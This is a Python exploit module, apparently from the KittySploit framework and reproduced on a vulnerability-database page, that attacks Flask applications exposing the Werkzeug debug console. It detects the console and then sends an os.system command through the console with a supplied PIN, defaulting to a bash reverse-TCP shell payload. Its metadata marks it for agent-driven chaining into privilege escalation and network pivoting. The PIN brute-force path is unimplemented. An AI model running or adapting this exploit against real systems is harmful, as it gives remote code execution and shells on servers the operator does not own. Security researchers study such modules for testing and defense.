#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.http.http_client import Http_client
import urllib.parse
class Module(Exploit, Http_client):
__info__ = {
"name": "Flask Debug Mode RCE",
"description": "Remote Code Execution exploit for Flask applications with debug mode enabled, exploiting Werkzeug console PIN vulnerability",
"author": "KittySploit Team",
"cve": [],
"arch": [Arch.X86, Arch.X64],
"platform": Platform.MULTI,
"category": "singles",
"payload": {
"default": "payloads/singles/cmd/unix/bash_reverse_tcp",
"arch": "cmd",
"platform": ["unix", "linux"],
"category": "singles",
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
console_path = OptString("/console", "Werkzeug console path", required=False)
pin = OptString("", "Werkzeug console PIN (leave empty to brute force)", required=False)
command = OptString("", "Command to execute (if not using payload)", required=False)
def _generate_payload_command(self) -> str:
"""Generate payload command from payload module"""
try:
# If command option is set, use it directly
if self.command:
return self.command
# Otherwise, use self.payload which already handles generation
if not self.payload:
print_error("No payload or command specified")
return None
# Get generated payload (self.payload already handles generation and options)
generated_payload = self.payload
if not generated_payload:
print_error("Failed to generate payload")
return None
# Convert bytes to string if needed
if isinstance(generated_payload, bytes):
return generated_payload.decode('utf-8', errors='ignore')
else:
return str(generated_payload)
except Exception as e:
print_error(f"Failed to generate payload: {e}")
return None
def check(self):
"""
Check if Flask debug mode is enabled
"""
try:
# Check for Werkzeug console
response = self.http_request(method="GET", path="/console", allow_redirects=False)
if response and response.status_code == 200:
if 'werkzeug' in response.text.lower() or 'console' in response.text.lower():
return {
'vulnerable': True,
'reason': 'Flask debug console detected',
'confidence': 'high'
}
# Check for debug error page
response = self.http_request(method="GET", path="/nonexistent", allow_redirects=False)
if response:
content = response.text.lower()
if 'werkzeug' in content and 'debug' in content:
return {
'vulnerable': True,
'reason': 'Flask debug mode enabled',
'confidence': 'high'
}
return {
'vulnerable': False,
'reason': 'Flask debug mode not detected',
'confidence': 'medium'
}
except Exception as e:
return {
'vulnerable': False,
'reason': f'Check failed: {str(e)}',
'confidence': 'low'
}
def run(self):
"""
Execute the exploit
"""
try:
print_status("Attempting Flask debug mode RCE exploit...")
console_path = self.console_path if self.console_path else "/console"
# Generate payload command
command = self._generate_payload_command()
if not command:
print_error("Failed to generate payload command")
return False
# Try to access console and execute command
# Note: This requires PIN bypass which is complex
# For now, we'll try direct command execution if PIN is provided
if self.pin:
# Try to execute command via console
payload_data = {
'__debugger__': 'yes',
'cmd': f"__import__('os').system('{command}')",
'frm': '0',
's': self.pin
}
response = self.http_request(
method="POST",
path=console_path,
data=payload_data,
allow_redirects=False,
timeout=10
)
if response and response.status_code == 200:
print_success("Command executed successfully")
self.vulnerable()
return True
else:
print_warning("PIN not provided - attempting to brute force or use alternative methods...")
# Try alternative exploitation methods
# This would require PIN brute forcing which is complex
print_error("Exploitation failed - PIN may be required")
self.not_vulnerable()
return False
except Exception as e:
print_error(f"Exploitation failed: {e}")
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
5.9Medium risk
Vulners AI Score5.9